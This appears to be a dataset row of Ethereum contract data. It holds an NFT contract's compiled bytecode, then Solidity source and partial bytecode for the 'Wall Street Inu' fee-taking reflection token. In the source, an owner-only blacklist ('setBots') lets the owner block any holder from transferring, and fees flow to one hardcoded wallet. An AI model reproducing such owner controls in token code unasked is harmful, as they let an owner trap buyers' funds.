0ac8c7c3b92560405160405180910390a45050565b6000611226826110ee565b611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c906124ae565b60405180910390fd5b600061127083610678565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806112df57508373ffffffffffffffffffffffffffffffffffffffff166112c784610441565b73ffffffffffffffffffffffffffffffffffffffff16145b806112f057506112ef818561105a565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661131982610678565b73ffffffffffffffffffffffffffffffffffffffff161461136f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113669061258e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d69061246e565b60405180910390fd5b6113ea600082611162565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143a91906127ae565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461149191906126cd565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b606060008251845161155c91906126cd565b67ffffffffffffffff81111561159b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156115cd5781602001600182028036833780820191505090505b50905060005b845181101561169b57848181518110611615577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b828281518110611659577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808061169390612920565b9150506115d3565b5b835185516116aa91906126cd565b81101561177c57838551826116bf91906127ae565b815181106116f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b82828151811061173a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808061177490612920565b91505061169c565b819250505092915050565b606060008260ff1667ffffffffffffffff8111156117ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117fc5781602001602082028036833780820191505090505b50905060005b8360ff168110156118ae57848181518110611846577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151828281518110611887577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019060ff16908160ff168152505080806118a690612920565b915050611802565b508091505092915050565b60606000825167ffffffffffffffff8111156118fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561192c5781602001602082028036833780820191505090505b50905060005b83518110156119f45783816001865161194b91906127ae565b61195591906127ae565b8151811061198c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518282815181106119cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019060ff16908160ff168152505080806119ec90612920565b915050611932565b5080915050919050565b60606000825167ffffffffffffffff811115611a43577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611a755781602001600182028036833780820191505090505b50905060005b8351811015611b9e576040518060600160405280603a8152602001612ed4603a9139848281518110611ad6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160ff1681518110611b18577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b828281518110611b5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080611b9690612920565b915050611a7b565b5080915050919050565b611bb38484846112f9565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c209061254e565b60405180910390fd5b611c32816110ee565b15611c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c699061244e565b60405180910390fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cc291906126cd565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611d8e611d898461264e565b612629565b905082815260208101848484011115611da657600080fd5b611db184828561287b565b509392505050565b600081359050611dc881612e77565b92915050565b600081359050611ddd81612e8e565b92915050565b600081359050611df281612ea5565b92915050565b600082601f830112611e0957600080fd5b8135611e19848260208601611d7b565b91505092915050565b600081359050611e3181612ebc565b92915050565b600060208284031215611e4957600080fd5b6000611e5784828501611db9565b91505092915050565b60008060408385031215611e7357600080fd5b6000611e8185828601611db9565b9250506020611e9285828601611db9565b9150509250929050565b600080600060608486031215611eb157600080fd5b6000611ebf86828701611db9565b9350506020611ed086828701611db9565b9250506040611ee186828701611e22565b9150509250925092565b60008060008060808587031215611f0157600080fd5b6000611f0f87828801611db9565b9450506020611f2087828801611db9565b9350506040611f3187828801611e22565b925050606085013567ffffffffffffffff811115611f4e57600080fd5b611f5a87828801611df8565b91505092959194509250565b60008060408385031215611f7957600080fd5b6000611f8785828601611db9565b9250506020611f9885828601611dce565b9150509250929050565b60008060408385031215611fb557600080fd5b6000611fc385828601611db9565b9250506020611fd485828601611e22565b9150509250929050565b600060208284031215611ff057600080fd5b6000611ffe84828501611de3565b91505092915050565b60006020828403121561201957600080fd5b600082013567ffffffffffffffff81111561203357600080fd5b61203f84828501611df8565b91505092915050565b60006020828403121561205a57600080fd5b600061206884828501611e22565b91505092915050565b61207a816127e2565b82525050565b612089816127f4565b82525050565b6120a061209b82612800565b612993565b82525050565b60006120b18261267f565b6120bb8185612695565b93506120cb81856020860161288a565b6120d481612a9c565b840191505092915050565b60006120ea8261267f565b6120f481856126a6565b935061210481856020860161288a565b80840191505092915050565b600061211b8261268a565b61212581856126b1565b935061213581856020860161288a565b61213e81612a9c565b840191505092915050565b6000612156601c836126b1565b915061216182612aba565b602082019050919050565b60006121796024836126b1565b915061218482612ae3565b604082019050919050565b600061219c6019836126b1565b91506121a782612b32565b602082019050919050565b60006121bf602c836126b1565b91506121ca82612b5b565b604082019050919050565b60006121e26007836126b1565b91506121ed82612baa565b602082019050919050565b60006122056007836126c2565b915061221082612bd3565b600782019050919050565b60006122286038836126b1565b915061223382612bfc565b604082019050919050565b600061224b602a836126b1565b915061225682612c4b565b604082019050919050565b600061226e6029836126b1565b915061227982612c9a565b604082019050919050565b60006122916020836126b1565b915061229c82612ce9565b602082019050919050565b60006122b4602c836126b1565b91506122bf82612d12565b604082019050919050565b60006122d76029836126b1565b91506122e282612d61565b604082019050919050565b60006122fa600f836126b1565b915061230582612db0565b602082019050919050565b600061231d6021836126b1565b915061232882612dd9565b604082019050919050565b60006123406031836126b1565b915061234b82612e28565b604082019050919050565b61236761236282612836565b61299d565b82525050565b61237681612864565b82525050565b6000612388828461208f565b60208201915081905092915050565b60006123a2826121f8565b91506123ae82846120df565b915081905092915050565b60006123c58284612356565b60028201915081905092915050565b60006020820190506123e96000830184612071565b92915050565b60006020820190506124046000830184612080565b92915050565b6000602082019050818103600083015261242481846120a6565b905092915050565b600060208201905081810360008301526124468184612110565b905092915050565b6000602082019050818103600083015261246781612149565b9050919050565b600060208201905081810360008301526124878161216c565b9050919050565b600060208201905081810360008301526124a78161218f565b9050919050565b600060208201905081810360008301526124c7816121b2565b9050919050565b600060208201905081810360008301526124e7816121d5565b9050919050565b600060208201905081810360008301526125078161221b565b9050919050565b600060208201905081810360008301526125278161223e565b9050919050565b6000602082019050818103600083015261254781612261565b9050919050565b6000602082019050818103600083015261256781612284565b9050919050565b60006020820190508181036000830152612587816122a7565b9050919050565b600060208201905081810360008301526125a7816122ca565b9050919050565b600060208201905081810360008301526125c7816122ed565b9050919050565b600060208201905081810360008301526125e781612310565b9050919050565b6000602082019050818103600083015261260781612333565b9050919050565b6000602082019050612623600083018461236d565b92915050565b6000612633612644565b905061263f82826128ef565b919050565b6000604051905090565b600067ffffffffffffffff82111561266957612668612a6d565b5b61267282612a9c565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006126d882612864565b91506126e383612864565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612718576127176129e0565b5b828201905092915050565b600061272e82612864565b915061273983612864565b92508261274957612748612a0f565b5b828204905092915050565b600061275f82612864565b915061276a83612864565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127a3576127a26129e0565b5b828202905092915050565b60006127b982612864565b91506127c483612864565b9250828210156127d7576127d66129e0565b5b828203905092915050565b60006127ed82612844565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156128a857808201518184015260208101905061288d565b838111156128b7576000848401525b50505050565b600060028204905060018216806128d557607f821691505b602082108114156128e9576128e8612a3e565b5b50919050565b6128f882612a9c565b810181811067ffffffffffffffff8211171561291757612916612a6d565b5b80604052505050565b600061292b82612864565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561295e5761295d6129e0565b5b600182019050919050565b60006129748261286e565b915060ff821415612988576129876129e0565b5b600182019050919050565b6000819050919050565b60006129a882612aad565b9050919050565b60006129ba82612864565b91506129c583612864565b9250826129d5576129d4612a0f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160f01b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4361707065642100000000000000000000000000000000000000000000000000600082015250565b7f697066733a2f2f00000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4e6f7420796574206d696e746564210000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b612e80816127e2565b8114612e8b57600080fd5b50565b612e97816127f4565b8114612ea257600080fd5b50565b612eae8161280a565b8114612eb957600080fd5b50565b612ec581612864565b8114612ed057600080fd5b5056fe31323334353637383941424344454647484a4b4c4d4e505152535455565758595a6162636465666768696a6b6d6e6f707172737475767778797aa2646970667358221220f6afbac9826c2004a974164bfd5ee5dc94b82e071bfb541995b794962e05868364736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,451 |
0xd68cb7a643079311b8645ed90f2d5267cfa6ea26
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WallStreetInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeRewards = 1;
uint256 private _feeTeam = 3;
uint256 private _feeMarketing = 6;
address payable private _feeAddrMarketing;
address payable private _feeAddrTeam;
string private constant _name = "Wall Street Inu";
string private constant _symbol = "WallStreetInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrMarketing = payable(0xC00db372e4F56017414A9Fa3463D9bb5244D4add);
_feeAddrTeam = payable(0xC00db372e4F56017414A9Fa3463D9bb5244D4add);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrMarketing] = true;
_isExcludedFromFee[_feeAddrTeam] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam));
uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9);
uint256 amountToTeam = amount.sub(amountToMarketing);
_feeAddrMarketing.transfer(amountToMarketing);
_feeAddrTeam.transfer(amountToTeam);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrTeam);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing));
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(feeTax).div(100);
uint256 tTeam = tAmount.mul(feeTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600f81526020017f57616c6c2053747265657420496e750000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f57616c6c537472656574496e7500000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d600